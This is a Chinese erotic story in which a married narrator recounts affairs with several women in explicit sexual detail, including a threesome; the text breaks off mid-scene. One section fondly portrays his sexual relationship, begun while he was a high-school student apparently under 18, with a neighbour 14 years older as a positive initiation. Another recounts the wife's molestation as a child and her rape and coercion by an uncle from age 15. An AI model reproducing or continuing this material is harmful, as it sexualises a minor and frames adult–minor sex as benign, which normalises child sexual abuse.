【夜色靡丽】(完)【作者:巫山行】[人妻熟女]
作者:巫山行
字数:19045
yZWnxHpb.png.
点击看大图
引子
8月13日,雾霾天气后少见的晴天。
这一天与2月14日一样虽然都被称为「情人节」,但前者是舶来品,让人
想到瓦伦汀;后者是土特产,让人忆起牛郎织女。
普天下人都追逐着情爱,可大多数却并未真正找到那把神秘的钥匙。更多的
是,情欲被刻意用爱去昇华,而爱常与欲望混为一谈。
今年的「七夕」开始得猛烈,结束得婉约,真是五味杂成,斑斓尽显。让我
萌动了与天下志同道合者和性情中人分享的想法。
一旦写起来,便一发不可收拾,望各位看官有耐心。
(一)七夕情人节
每年的七夕,只要可能,我和LP都会在身心合一中迎接这一天的到来。今
年也不例外,因此睡晚了,正好赶上春假,不用早起,放心踏实地睡懒觉了。
朦胧中,我被下体的刺激搅醒,不用睁眼我也知道那是LP的嘴。她一直喜
欢淩晨和我亲热,说晨勃状态坚挺而持久,慵懒的我没有了进攻性,很适合她自
己恣意把玩享用。
我记不清她折腾了许久,只听到一声尖叫后她扑倒在我身上,身上汗渍渍的,
我给她盖上被子,怕她感冒了。
LP嘘嘘喘着问:「它真行,还在那儿杵着呢……」
电话铃把我们的回笼觉扰醒了,她娘家的电话,说父亲想她,希望她赶着回
来一趟。LP春假加调休反正还有几天,决定还是现在回去。她每次回家我都很
支持的。
趁她去淋浴,我把今天为她准备的托人在情趣商店买的情人节礼物(一根硕
大的黑色模拟阴茎)悄悄放入她的手提包内,还附上了一张卡片,匆匆写上一句
话:这两天想了就用它。
LP收拾完,对我独自在家的起居叮嘱了一番,就自己开车回娘家了,娘家
不在我们所在城市,但离我们也就两小时路程,来回还算方便。
之所以为她准备这个礼物,是我们平时一起看A片的时候,每次只要黑人出
场,她都会情不自禁。LP虽然口无遮拦,但不知道什么原因,就这点她从来不
真实地说内心的想法,但我相信,我的这个礼物她会喜欢。
果然,半个小时后,LP电话过来了:「我顺道去给家里买点东西,打开包
一看吓一跳,你这个死不要脸的。」
我嘻嘻一笑,叮嘱她先安全驾车别走神了,LP「狠狠」扔下「等我回来跟
你算帐!」这句话就挂了。
LP不在家,我心中总有空的感觉,这代表着某种依赖,某种惯性,也带了
些许的不安分,就好比出差住酒店,那氛围时而会让人想入非非,这是「自由」
的自然产物吧。
手机铃响了,一行短信印入眼帘:「祝牛牛节日快乐!琼。」
(二)西安的琼花
我和琼相识在一个展会上。对那次採访的内容,我能记住的已经不多,脑中
留下的印象唯有她那对傲人的胸器。是的,琼是一位很丰满的性感女人。挂在胸
前的展商出入证被高耸的乳房顶着,以至於观者压根儿记不下那卡上的姓名和公
司展台号,只有想入非非的精力了。最可恶的是琼完全知道她的「丰乳效应」,
遇到男人直勾勾的眼神,她会很享受地用眼睛紧盯对方……起码我是被她搞得相
当尴尬的。
她的眼神固然有挑逗的成分,但更多的是挑选的用意。她后来告诉我,如果
她抓住对方眼神时,对方避开了,这样的男人条件再好,她都不会搭理。而我,
虽然能感到些许的尴尬,但眼神却颇勇敢,这种尴尬之后的眼神对接,倒让她开
始心慌意乱起来……所以,那天晚上,我们就上了床。展会那几日下班后,我们
就再也没离开彼此的房间。
琼嫁了个家境不错的老公,只是俩人年龄悬殊较大,婚后头些年问题还不大,
日子越往后,这差异就显现出来了。
琼的老公对妻子百依百顺,却无法应对少妇妻子的性要求,被宠坏的琼开始
在外觅食,但从不拖泥带水,绝不恋情。直到遇上我,她变了,用她自己的话来
说有三个原因:一是我值得信任,二是难舍我的傢夥,三是我贴心入微,能让她
保持好心情。
LP刚走,这空档让琼填补了一个正着,毕竟离上次和她见面已经有两个多
月了,这猛一下冒出来,还真激起了我的兴致,我们电爱了。看她比以往发狠,
还夹杂着某些情绪,我问她是不是有什么不对,开始她还不愿意说,后来她终於
吐出了自己的憋屈:她今天无意间发现老公有了外遇,而外遇的对象不是别人,
正是家里的农村保姆。琼哭了。
她说想出门透透气,问我是否有时间,如果有,她第二天一大早就可以开车
过来。我劝她莫要冲动,毕竟路途不算近,但她坚持要过来。这就是西北人的性
格,一根筋的主。
我说LP刚出门,她二话不说就让我定好中午吃饭的地方,其他事情见面再
说。我再三叮嘱路上小心,她很乾脆地把电话挂了,
我和琼平时见面不多,可不知道为什么,琼很容易让我撕心扯肺,牵挂连连,
因此,她刚才发佈的「新闻」还真是给我心里抹上了一层阴影,开始担心她这次
是否能扛过去。
我给自己灌满了一浴缸的水,倒上一杯啤酒,想把昨夜到现在的疲劳彻底泡
掉。这是我多年来养成的习惯,每次想解乏,或者想考虑事情,我总喜欢把自己
放入雾气腾腾的浴缸里。
周围充满了浴液的香味,热腾腾的蒸汽将我的头沁出了汗……我慢慢搓洗着
自己,看着疲软的阴茎,感歎起时空的变幻来:是哦,数小时前它还在LP的温
柔乡里发威,现在LP却已带着我的温度去了异乡,而另一位女人正在沖着它奔
袭而来……
Crazy!
(三)青海的芳香
迷糊中,手机响了,一个清亮的声音传入耳中:「干嘛呢你正在?」
这是芳,一个今年将毕业的大四学生,青海人,教育管理专业。她的这句口
头禅出自一个特殊的语境,所以,每每听来,总让人有湿漉漉的联想。
「我泡澡呢!」她坏笑着说:「这么腐败呀!小心被拍,哈哈。」她的话语
竟一下子把我撩拨起,阴茎在水中渐渐膨胀起来……
芳与我的相识很不寻常。有一次我打开QQ信箱,发现了一只也不知从何方
而来的漂流瓶,我好奇地打开,见里面有一句话:「SOS,情感危机。捞到瓶
子者请加我的QQ号……」也不知是出於什么心理,我居然真的去加了那个号。
对方接受后先来一个哈喽,接着问我是谁,我说是你发过一只漂流瓶吗?这
下她开始语滞起来,隔了小一会儿,她才承认有这么一回事。我们俩人都为漂流
瓶的神奇牵线感慨不已。就这样,我们慢慢地攀谈起来,她和我一样,都是率性
的人,所以不需要多少铺垫就开始跟我讲起了她的故事。
原来,她假期回老家,和男友第一次爱爱,男方笨手笨脚不得要领,最后,
除了疼感,芳连开始时候尚有的一点兴奋也荡然无存。她有些抱怨,可男友却说:
所有男女第一次都这样。芳不信,男友说:不信你可以去试试别的男人……这句
话导致两人的分手。那是去年的夏天。
暑假后回到学校,郁闷中的她放送了那只漂流瓶,像是赌气,也存侥倖。没
曾想这居然成就了我和她的这段情缘。
我和芳的网路交流很顺畅,当我们最后瞭解到俩人居然还在同一座城市的时
候,感慨变成了兴奋,以至於有点迫不及待地想见面了。我知道自己和她年龄的
悬殊,问她是否介意,她的回答很酷:「和男友分手后,我压根儿就没考虑和比
我大10岁以下的男人接触!」她的话语虽然暧昧,但我当时并未想更进一步,
最多也就是开导解惑一番,因为我一向对青涩女孩兴趣不大。
第一次见面我们约好在一个茶坊,她给我的第一印象是:青春。芳身材不算
很丰满,但非常匀称,皮肤很好,特别是一双秀腿让人想入非非。
她见面后大方和我握手,坏笑着叫我一声老师,有意强调一下我们之间的年
龄差异,然后俏皮地问能否先去一趟洗手间,话音未落,人已华丽转身,迳自去
了。我从后面望去,她那条红色的超短裙随着微翘的臀部的扭动而摇曳,那一刹,
我的心真的为之一荡。
她回来后我们点菜吃饭聊天,话题主要围绕她的学业现状和职业志向,与我
预想的话题丝毫无关。时间飞逝,到该告别的时候了。我们再次握手,就在指尖
将要分开的那一刹,她说了一句听似没头没脑的话:「见你第一眼就知道,男女
的第一次不可能那么糟糕!」
我不得不承认,她这句话当时对我的震撼和刺激胜过之前所有交往过的熟女
的所有挑逗,但这也是我们交往中她说过的最成熟的话了。或许,这就是她那个
年龄的特点吧!稚嫩中时有经典话语冒出。
我们如何去的酒店我已记不清了,路上我更多的是被她牵引着,除了我的第
一次性爱经历,这是我与女人交往中首次失去了主动权,这是内心斗争在作祟?
还是我在逃避作为长者的责任?或许两者皆有吧。
直到酒店房门在我们身后关上,我才发现,她开始有些紧张了。男女关系就
是如此,谁占主动,谁更自信,往往是一种此消彼长的结构。就在芳开始不安的
时候,我的自信一下子就显现出来了。
我一把将她搂在怀里,紧紧的,嘴唇立刻压了上去,我感到她有些慌乱,身
体的僵硬凸显了她的不安,而生疏的接吻技巧,则反应了她的确还比较青涩。但
是,芳是个悟性很好的姑娘,很快地,她的舌头就周转自如了。两舌缠绵得有声
有色,我感到她的双腿软了。
我把她轻轻放到床上,缓缓地解开她的衣服,这样的速度,既为了减少她的
紧张,也为了增加对她的刺激度。我抽丝剥蚕般把芳脱了个精光,一个青春气息
逼人的裸体横陈在我面前。她一声不吭,默默地领受着我的舌头开始从上到下游
遍她的全身……
当我的脸埋在她双腿之间的时候,她突然问道:「干嘛呢你正在?」我没有
用话语来回答,而是用舌尖的扫撩回答了一切。为何以后每当她这么问的时候都
能给我带来湿漉漉的联想呢?因为第一次听她这么说的时候,我眼前看到的的确
是一汪水帘洞。
那天我们做了好几次,她脸上的红晕久未散去。事后一起沖洗时,她握住我
那硕大的傢夥惊讶地问:「我咋竟然毫无疼痛感呢?你看它有多凶啊!」
我一边帮她搓洗,一边凑着她耳边说:「那是因为你很想要,也因为我知道
该如何疼你而又不让你疼……」她紧紧抱住我说:「谢谢你,谢谢你给了我如此
美好的感觉!」
后来,我们时而有碰面,每次她和我说话的头一句必定是:「干嘛呢你正在?」
我也的确从未拒绝过她。可这次例外,主要是琼要过来,再加上那天LP来
电话说父亲其实是身体不好才把她「骗」回去的,现在正在做检查,结果要过两
天才出来,她的心情很不好,我也自然受其传染,心不在焉,所以没有答应芳见
面。
她开始使性子,关机不理我了。
(四)我为琼狂
第二天中午,琼风尘仆仆如约而至,我们在一个优雅的饭店共进午餐。席间,
她一直在絮叨这次受的刺激,状态都快成了祥林嫂,反复着一句话:「为何是她!
为何是她!「我知道,她这次更多的不是情感受伤,而是自尊受伤。我的劝
慰也很简洁,我告诉她:」你需要平衡,人家也需要平衡!保姆身上一定有你没
有而你老公又需要的东西。「
琼心里其实也是明白的,可就是一下子出不来,最后把自己喝得不省人事。
我把她送回酒店,安顿好之后赶紧回家,因为心里始终惦记着LP那里的情
况。
在家里和LP电话了许久,她说老爸的情况未明,要晚些日子再回来,我让
她安心守护老人,如果需要我也会立刻赶过去。老婆说我的话给她许多力量,但
我知道LP的心始终悬着。
琼这次远途奔袭而来,除了寻找安慰,也有部分公务原因,她公司在我的城
市有业务。琼是个成熟的女人,苦水倒完了,自尊放下得也很快。第二天醒来,
她已然恢复了常态,先去拜访客户,晚上约我见面。看到我有些低落,问清原由
后反倒过来安慰我,关心地问:「我能帮你做点什么吗?」遇到这样的情况,琼
和芳的心理素质和成熟程度就有了分水岭。我更喜欢成熟的女人,这也是其中的
一个原因。我一把把她拥入怀里说:「这样搂着就行!」
LP和琼都属於成熟的女人,在她们面前,不需要过多的解释双方就能明白
对方的需求和冷暖。她们两人不同的是,LP的宽容来自於耳鬓廝磨产生出来的
默契和信任,而琼的善解人意则是出於聚少离多派生出来的珍惜。我和她见面太
不容易了,聚在一起根本不想再受琐事杂念的干扰。这一晚上,我和琼就这样相
拥而坐,一切尽在不言中,她让我感到心暖。
人与人相处,心情和境遇的转换有时候就在一念之内。老婆那里第二天传来
了好消息,岳父的检查结果出来了,良性肿瘤,我们都松了一口气。LP问我是
否可以再多陪父亲两日后回家。我当然支持,不是为了身边的琼,而是真心实意
希望岳父多享受一点天伦之乐。琼为我多呆了两天,得知LP那里的好消息后,
我狠狠要了琼几次。这夜风流既是为这几天所作的补偿,也算是告别,明天她就
要返回老家了。
琼最喜欢玩的性游戏之一就是乳交,看着我的傢夥在乳沟中疯狂穿梭,她会
非常陶醉地喃喃自语:「射吧,我的大牛牛!」、「狠狠捏我的乳头,把它拧下
来……」、「别停,牛牛,别停哦……」她的这些话无异於强心针,每次都刺激
得我雄性勃发,每次都玩得酣畅淋漓。她最刺激我的是她高潮前夕那通乱嚷嚷,
如「快给我……灌满我……我要为你生一大堆孩子……」等糜乱话语。
和琼做爱次次都有被掏空的感觉,这种「虚脱」般的瘫软是极致快感后的反
应。
琼丰满结实的身体总给我一种愿意被我恣意蹂躏的承诺,不像面对身体娇小
性情稚嫩的芳,我会变得充满怜爱和细緻入微。就我自己的体验来说,男人的性
行为很大程度上取决於女人的身体给他传递的资讯。
芳「静音」了两天后还是放下了任性,给我发了个短信:「坏人,就是不理
你!」她这么说,实际上这就是要理你的开始。这次,我没有去学校找她,只是
约她出来吃了顿饭,我这样做倒不是和她置气,而是LP说明天就要回来了,我
要让自己的身心都归位到一个属於她的状态。芳明白这点,但临走前非要我好好
吻她。那是个长吻,差点让我没把握住。我目送她进入校园,她的翘臀性感依然。
(五)草原激情
我和LP彼此基本没有秘密,能有这样的包容和默契实属不宜,也是一路辛
苦走来而又彼此不离不弃换来的。
故事还要从头说起:我们俩是大学同学,基本上是刚进学校彼此就有了好感。
她1米62的个子,体形非常健美,这得益於她从小喜欢运动,开始的短跑
练就了她小腿的肌肉时隐时现;后来的长跑又避免了腿部肌肉过於突出,成就了
她均匀而健硕的双腿,她丰满而结实的臀部也要归功於那些年的锻炼。
婚后她又参加了瑜伽班,这使得她身体柔软而有韧劲,并始终保持良好的体
态意识。LP的胸不是大得下坠的那种,而是属於能抓满一手,但形状颇好的那
种。所以,她很喜欢桑拿,喜欢秀自己健康靓丽的天体。
LP的脸不抢眼,但很耐看,特别是她脸上绽放的笑容能感染见到她的所有
人。是的,她的笑极具感魅力,始终让我着迷。特别是她笑时露出的那一口整齐
的白牙尤其让我喜欢,以至於我以后选择女人的时候首先会关注对方的牙长得如
何。她的性格带着明显的两重性:有时候快人快语,有时候靦腆内敛。柔性中带
着野性。
入学后第一个暑假,我们俩人决定不回家,独自去内蒙那边游玩。大草原的
野风和广袤徒增了我和她体内的野性和欲望。
我们的第一次爱爱发生在蒙古包里,当时两人真的全部湿透,她不敢出声,
手抓挠,口咬我,怕叫床声在空旷中的回声过大……这次做爱,让我们知道各自
都不是第一次的新手。几番癫狂陶醉后,我们围坐在蒙古包外的小篝火旁,相拥
紧搂,望着万里星空和皎洁的月光,各自讲述了自己的「第一次」经历。
草原夜色神秘而靡丽!我们约定,故事讲完之后将告别过去只看未来。这么
多年来,我们的生活中有过许多磕碰,但彼此一直没有再提那些陈年往事。我和
她的经历既有相同的地方,也有不同之处:相同的地方是我们的童处之身都交给
了比自己年长不少的人;不同之处是我的经历给我带来快乐,而她的则带来了痛
苦。
(六)萍姐,我的第一个女人
我的第一个女人比我大14岁,是位小学英文教师。我平日里叫她萍姐,她
就住我家隔壁。我父母工作忙,常把我託付给她,两家关系很好。
萍姐的老公是海员,常年漂泊四海,俩人聚少离多,她从上海嫁来本城,这
里没什么亲戚。平日萍姐不苟言笑,当时我觉得那是老师范儿,可自己长大后才
知道那是寂苦的日子所致。
萍姐老公很会体贴女人,每次从海外回来都给老婆带来许多好东西,譬如,
好看的衣服啦,香水啦,还有国外的画报和其他新鲜玩意儿。邻居中有人夸萍姐
老公真会买东西,他每次会说是老婆身材好,天生的衣服架子……羨煞邻里中的
女人们。如果不是萍姐为人友善谨慎,说不定早就生出是非来了,毕竟她是个最
佳年龄段的美人啊!
老公在家时,能看到萍姐脸上常常泛着淡淡的红潮,人似乎也不再那么拘谨
矜持;老公一出海,萍姐就又恢复了冷峻的脸容,我至今还能记得她那张苍白而
严肃的脸。
我高考一年前的那个暑假,正赶上萍姐的老公去的国家比以往多,这样,他
在外逗留时间自然也就更长了。每逢假期,工作繁忙的父母都把我託付给萍姐,
她对我倒也并不严厉。当时的我脸上虽然还略带稚气,但身体已经发育得高大结
实了。
有天下午去萍姐家,她刚沖凉出来,身上散发着当时国内很少闻到的香味,
样子很迷人。她看我时候的眼神也与往日不同,有些特殊,没有了冷峻,多了一
层柔意和说不清楚的内涵,当时我并不懂,之后瞭解女人多了,才知道女人有生
理期前的需求压力。
萍姐事后告诉我,她在淋浴的时候刚自慰过,只是没有尽兴,而我恰在此时
出现了……
我对萍姐说爸妈今天临时要回爷爷奶奶家几天,要我好好做练习……萍姐笑
道:「学习方面你不需要我管的,倒是没人给你做饭了,晚上就在我这里吃吧。」
萍姐的体贴从不张扬,但总是非常可心。
我发现萍姐的起居室窗帘闭着,心想或许是为了遮阳避暑吧,外面的那轮骄
阳正当头,那年夏天出奇的热。我刚看完两小时书,头晕晕的,有点困。
萍姐让我坐下,说:「你先坐着看会儿电视吧,我去给你拿冰镇汽水清醒清
醒。」说完就进了厨房。
我在萍姐家就如在自己家一样,随手打开电视遥控,不小心按了录影机的扭,
电视里出现的画面让我惊呆了:一金发女郎正在吞吃一西方男子下面的傢夥……
厨房里传来萍姐的询问:「小弟,不巧冰镇汽水没了,你想喝外国啤酒吗?
你姐夫上次带回来的……「
我语无伦次:「什么啤酒?」
萍姐拿着瓶啤酒出来,正要告诉我外国啤酒啥样,却看到了我吃惊的表情,
顺着我的眼光再看电视,萍姐明白了一切……她箭步沖到我面前,夺过遥控欲关
机,慌乱中却误按了音量钮,电视原先处於静音状态,这下可好,屋里顿时回荡
起从影片中传出的叫床声……
大凡在此类窘境中,发现者和被发现者都极为尴尬的。
我和萍姐当时的脸色一定都很不好看,我们沉默了良久,萍姐先恢复了「平
静」。「不许说出去!」她低声短促地说。
我点头。
萍姐递过啤酒,我咕咚咕咚一口气喝了半瓶。萍姐关心地说:「别喝急了,
空腹急喝容易醉……」但我还是没几口就喝完了一瓶。
关於录影片,萍姐没有作更多的解释,也确实无法解释啊。她刻意转移话题,
并让我帮她一起去厨房做晚饭,但我们彼此心照不宣,脑子里不可能忘掉刚才发
生的一切。
萍姐平日的厨艺不错,但今天做的菜肴显然失了水准。
就这样,我们沉默着吃饭,心里琢磨着各自的心思:如何解开这个窘境。毕
竟萍姐比我大许多,她率先正视这个话题:「你以前看过这个吗?」我摇头。
影片我的确没有看过,但看过小说《曼娜回忆录》,又名《少女的心》。那
是同学中流传的禁读物,记得我拿到后一口气看完,小说中的描写很刺激,惹得
我手淫了好几次。我属於身体早熟的男孩,缺乏的就是经验。
萍姐看着我,声音略带颤抖地问:「你是不是觉得姐是个坏女人?」
我使劲摇头,口中连连道:「没有没有……」
只听萍姐深深歎了口气,我能感觉到,那不是如释重负的歎息,而是身心无
奈和略带悲切的呻吟。
她站起身来,再舒了一口气,说:「看到了就看到吧,这样也好,我也好有
一个倾诉的人!只是你还小……」
我望着灯光下萍姐那张苍白的脸,感觉自己一下子长大了,突然有了要保护
她的冲动。我脱口而出:「萍姐,不要再把我当小孩,我愿意的……」
萍姐终於笑了,温柔地问:「傻小子,你愿意,愿意啥?!」
的确,我说「愿意」并没有具体的内涵,只是表明愿意和萍姐建立一种只有
我和她之间才有的特殊关系,我愿意她信任我,原意她依靠我。但我能感到萍姐
很犹豫,她首先想到的是责任和后果,的确,她的思想空间中能放我走入她生活
的缝隙很小很小。不知道为什么,在理性和感性纠结中的萍姐显露出的不安,却
反而为她增添了一抹妩媚样。
人说冲动是魔鬼。就在萍姐基本准备理性处理此事的当口,魔鬼给了我勇气。
我一把抓住她的手,急促地说:「你就把我当个真正的男人吧!」
萍姐的眼睛终於开始长时间地注视起我来,眼波中传递了许多资讯:疑问、
忧虑、担心、疼爱、欲望……到最后,信任和需求佔据了她。我们接吻了。萍姐
主导着一切,佔据了精壮如牛犊的我。
我不记得那天夜里睡过觉,好像一直处在欲望的氛围里,宣泄后回落,回落
后再起,我们的舌头和双手游遍了对方身体的所有地方,我们的话语冲破了一切
世俗藩篱。萍姐把我从一个懵懂的少年变成了一个性情男儿。毫不夸张的说,在
性爱方面,我后来的所有实践都得益于与萍姐的经历,她是我无法忘却的欲望女
神!
有人说早恋会影响学习,但这点在我身上没应验。我和萍姐的关系一直持续
到高考结束后。
我还记得最后一次见面的情景,两天后我就要去外地上大学了,她约我去她
家,搂着我说:「小弟,上大学意味着人生新阶段的开始,我不希望你过分眷恋
我,你给我带来的欢乐萍姐不忘,让我们结束吧!」这就是我的萍姐。
最后一晚她给了我所能给的一切!泪水和欲水交织在一起,欢声和哭声揉作
了一团,两个滚烫的身体难解难分没完没了。
我和萍姐在一起差不多整一年。她教会了我性爱,她教会了我成熟,她教会
了我放下,她教会了我自信,她教会了我阳光,她教会了我积极。一年后,当我
和LP在蒙古包里激情的时侯,我再次想到了她。
(七)贞操被强行夺去
LP的第一次则是一段痛苦的经历。她父母都是地质队员,住无定居,LP
从小在外婆家长大。现在的她很健美,据说小时候是一个人见人爱的胖娃娃。外
婆家亲戚多,一大家子恨不得都居住在一块儿。LP说,小时候,家族里年长的
男性亲戚抱她时都有不寻常的举动,那一双双大手有意无意会摸到她的私处,可
她那时候不懂。
她身体发育较早,11岁刚过就来了第一次月经,没过两年,一个胖乎乎的
女孩出落成一个青春靓丽的少女,渐渐隆起的乳房时常引来男生的关注,家里那
些男性亲戚大部分反倒开始疏远她,她心里轻松了许多。只有一个表舅依然喜欢
靠近她,那是个体格敦实的男人,职业供销员,经常外出,如果去好玩的地方也
会带上我LP。
有一个暑假,他带我LP去看展览,拿了不少好玩的小礼品,回家的路上,
他带我LP去吃饭,然后说要去办点事,让LP一起去,LP没有理由不信任他,
就跟着去了,计程车进了一个陌生的居民区,进了一栋楼,开了一扇门,他说,
这是单位分配给他的房子,刚把傢俱置办完了,环境挺舒适。LP没介意,就在
沙发上坐下了。
表舅让她过来看阳台外面的环境,还没等她走到,这个男人就从后面抱住了
她,双手紧扣她的双乳,这突如其来的袭击把我LP弄懵了,她本能地开始反抗,
却不敢叫出来,表舅用力把她按到在沙发上,强行撕掉了她的内裤,粗鲁地夺走
了她的贞操。那年她才15岁。之后的时日里,表舅还不断威胁恐吓,说如果不
从他,他会把这丑事说给学校听。
LP当年少不经事,她是个好学生,最注重名声,表舅的威胁起到了效果,
LP忍气吞声,没有告发他,只是在家里她变得沉默了,可又无法躲开这个令她
非常讨厌的男人。之后,每次他需要了就开始威胁,LP只好去那个住处满足他
的兽欲,这样持续了半年,直到表舅在一次车祸中丧身,噩梦才结束,这或许就
是报应吧!
(八)春天的故事
那次内蒙游玩回来,我和LP确定了朋友关系,之后从未分开,相处很好,
毕业后我们做的第一件事情就是登记结婚。我分配在一家杂志社,LP去了一家
酒店的策划部。我单位分配的房子虽然小,但我们的日子过的很温馨,更充满激
情。我们做爱很频繁,哪怕是LP例假期间也会有,除非我和她之间有人生病才
消停。
我们不仅做爱勤快,工作也很努力,上班两年内,我们都取得了不错的成绩,
赢得了好评,我们的事业心也随之膨胀得厉害,各自加班加点,周末也不例外。
渐渐的,我们的生活有了倾斜,在一起的时间越来越少了,即便在一起,也
因工作疲劳过度而减少了性事,回到家经常倒头便睡。另外,工作环境不同了,
我们渐渐有了各自的朋友圈子。
有一次,杂志社要我对特区做一个深度报导,於是我只身去了深圳,一呆就
是三个月,跑了周边不少地方。LP酒店的公关策划事情也很多,我们就这样身
在两地为各自的事业忙碌着,但保持每天通一个电话。
当年的深圳和内地差距不小,这里云集了来自五湖四海的打工仔,他们白天
工作,晚上会参加各种补习进修班充实自己,我能明显感到这个南国之城明快的
工作节奏和丰富的夜生活。
这是一座年轻而前卫的城市,充满活力和诱惑,每天黑幕降临后,城市的每
个角落都漂游着寂寞的「幽灵」(我们当时就这么称呼单身打工族)。我下榻在
深南大道边上的一家酒店,当地的协作单位为我安排了一个本地姑娘作向导和顾
问,她叫兰。
兰没有上过大学,高中毕业后就在报社打工,小姑娘聪敏伶俐,经过努力终
於进入编辑部实习,当然不会让她动笔,只是负责内务而已。
我比兰大不了几岁,但在她眼里,我确实是个年轻帅气的有为青年,所以对
我尊敬有加。她很会照顾人,有她在,我真的很踏实。兰是广州人,小学的时候
随父母来到深圳,一口标准的广东话。她身材清瘦,皮肤略黑,显得成熟,这或
许与她干练的作派有关吧。她给我的第一印象并不漂亮,更谈不上性感,是个很
普通的南国女孩。
(九)南国雪儿飞
我到深圳半个月后,单位来电话说有一个美编要来深圳进修,要我好好照顾。
当时特区的广告公司很多,印刷设备和美编技术多从香港引入,可借鉴的地
方的确很多。五月的深圳已经挺热的了,我带着兰一起去接机。美编叫雪儿,鲜
族人,美院毕业后早早就开始了北漂生活,因为业务好,人又漂亮,人缘也好,
所以被我们杂志社录用了。
机场人多,熙熙攘攘,兰举着写有雪儿名字的牌子,眼睛不放过任何出来的
旅客。眼看那趟班机的人都快走光了,可还是不见人影。正在纳闷呢,雪儿出现
了。她拖着个粉色的小行李箱,步履轻盈,头发飘逸,衣着前卫,相当有艺术范
儿。我们握手后分别作了自我介绍,兰脱口而出:「雪儿姐,你好漂亮!」雪儿
大方地表示谢意,我们一起回到我下榻的酒店,兰已经在那里为雪儿订了房间,
就在我隔壁。
我们三人一起吃了晚饭,相处融洽。雪儿比我大一岁,外表看上去挺成熟,
举止也很自信和独立,不过,接触后才知道,她实际是一个很喜欢依赖的女生。
这个反差对男人颇有诱惑力,一旦靠近她,很容易会被她吸住。
我承认自己一开始就被她吸引住了,不仅因为深圳本身就带有某种暧昧的氛
围,也不是因为我多日未有性事而蠢蠢欲动,我发现其实是我内心有某种东西开
始蠕动起来,只是当时还说不清楚是什么,只知道会发生什么,而且是前所未有
的事情。
雪儿也不掩饰对我的好感,吃完晚饭后我们三人去逛街,她会挽住我的胳膊
嘻哈起来,全然不顾还有兰在身边,搞得兰有些不自在。这种自然而然就亲近的
关系让我感觉和雪儿有着前世的缘分,彼此一点陌生感都没有,她的出现,让我
一下子忘记了孤身写作的枯燥和无聊。
第二天我带她去拜访这次要进修和观摩的单位部门,下班的时候再去接她。
之后的日子里,我们天天如此,空余时间也形影不离,旁观者一定以为我们
是一对恋人。兰依然默默地尽心为我做着这个那个,之前她只是照顾我,现在顺
便也把雪儿一起照顾在内了。
可能因为雪儿不习惯南方室内的空调冷气和外面湿热的反差,到深圳后的第
一个周末就感冒发烧了。我悉心照顾她,感动得她钻入我怀里不愿再出来。
我们俩很自然就走到了一起,还没等她痊癒就有了第一次,那是我一个月以
来第一次碰到女人的身体,一边蓄久待发情不自禁,一边又要照顾她的虚弱,爱
爱变得很辛苦。
雪儿看出来了,弱弱地咬住我耳根说:「等我好了好好回报你……」
雪儿身上有一种特殊的魅力,和你腻歪的时候她犹如一汪水,安慰人的时候
又如母亲一样无私入微。这两点体现最充分的就是在做爱中。自从我们睡在一起
后,酒店的床上几乎始终是淩乱的,有个周末我们买了熟食和零食,一天一夜都
没有离开房间。
雪儿和我一样没有禁区,都喜欢尝试新游戏,譬如,她让我插在阴道里尿尿,
开始感觉很困难,后来也成了;还说要体验一下尿她嘴里的感觉,事后她说没什
么特别……酒店屋里到处都留下了我们做爱的痕迹。那个周末,由於我的抽插幅
度太大太激烈,阴茎不慎弯折了一下,龟头下面出现了淤血和肿圈,让雪儿心疼
了半天。
第二周的一天,雪儿告诉我,她刚知道一个发小也在深圳,嫁给了一个阔少,
约她见面,向我「请假」一天,我自然不会说什么,嘱咐她好好玩,注意安全。
第二天回来后,雪儿还处在与发小聚会的兴奋中。也可以理解,俩人毕竟多
年未见了,这次发小回老家省亲,去雪儿家里探望才知道雪儿正在深圳,而她自
己的家就在深圳,所以二话没说赶紧飞了回来。
雪儿的发小有个挺阳刚的名:飞。雪儿告诉我,她们在一张床上一条毛巾被
下聊了个通宵,太好玩了……我听她喋喋不休地讲述着她们的童年岁月和不分你
我无话不说的友情,我随口问道:「那你一定也把咱们的事情告诉她了吧?」
雪儿说:「那当然了,我还说了咱俩的许多细节呢,她说想认识你,你愿意
不?」我说好啊,你约时间好了。
我们很快就见面了,飞1米69的个子,短发,看上去很飒,臀部结实,胸
却没有雪儿丰满。她当起了东道主,请我们去吃海鲜,然后回到她的住处,那是
我到那时为止见到的最豪华的私宅。
飞的老公是港商,在家的时间不多,我们在他们家的时候,他正在北美出差
呢。宽敞的豪宅里就我们仨人,保姆已经被打发走了,我们喝酒、聊天、欢笑、
打闹……
要不说酒精乱性呢,我们酒喝多了,嘴上也就没了把门的,雪儿在飞面前一
点都不拘束,俩人真的有一种全然的信任。
在这个氛围里,我和飞自然而然也熟络了,三人的话语也变得轻佻起来。雪
儿最疯,说着话就一屁股坐到我腿上,我也没了任何的束缚,当着飞的面就和雪
儿舌吻起来,飞笑着说:「你们要不要进屋去呀?」
雪儿说:「你也来么!亲爱的!」还鼓励我说:「你还不快把她搂过来!」
我也不含糊,真的一把把飞搂了过来,因为动作太大,飞没坐稳,一只手本
能地支撑了一下,却不料正好插在了雪儿的双腿间和我鼓胀的阴茎上……
飞也动了情,慌乱中说:「瞧被你们俩个撩拨得都这样了。」
就这样,我们三个身子混做一团,气氛呈现出令人窒息的淫荡来。
雪儿的舌在我的嘴里,我的手扣住飞的臀,最让我没想到的是,飞的嘴却贴
在了雪儿的乳房上。后来我们才知道飞有双性倾向,她特别喜欢丰满的女人,可
就是从来没有体验过。
就在这空气中弥漫着湿度的五月深圳,我们三个在一座华美的私宅里,上演
了一出我们之前从未经历过的3P性游戏,这在那个年代相当前卫了。
没过一会儿,我们已一丝不挂。飞捧着我的傢夥爱不释手,嘴里喃喃道:
「雪儿对我说起它厉害,我还当她吹牛呢,现在看来它果然够张狂……」说完边
一口将它吞进了口里。
雪儿和我虽然艳情在先,但我们都知道飞是主人,所以发自内心地要让她获
得满足。我抱起她,雪儿手拽着我的傢夥,三人一起走入卧室。
飞的卧室佈置讲究,镜子很多,除了床头和靠墙衣柜上,连床上方的天花板
上都按有镜子,无论你怎么躺着站着还是坐着,都能从其他角度看到自己和对方,
这为我们的性爱增添了不少刺激和情趣。雪儿本无同性倾向,但搞艺术的与常人
比总要前卫些。面对飞的抚摸和舔吻,雪儿并不拒绝,到最后甚至开始享受起来。
飞仰躺在床上,双臂拥搂着雪儿赤裸的上身,嘴巴像饿慌了的婴儿一样急找
着雪儿的乳头,一只手在空中抓狂,索要着我的阴茎。
我和雪儿都被深深地感染了。我不能自己了,架着坚硬的它狠狠插入了飞的
芳草涧,她啊的一声,张开的嘴巴被呻吟了半天的雪儿用舌头堵住。看着两个女
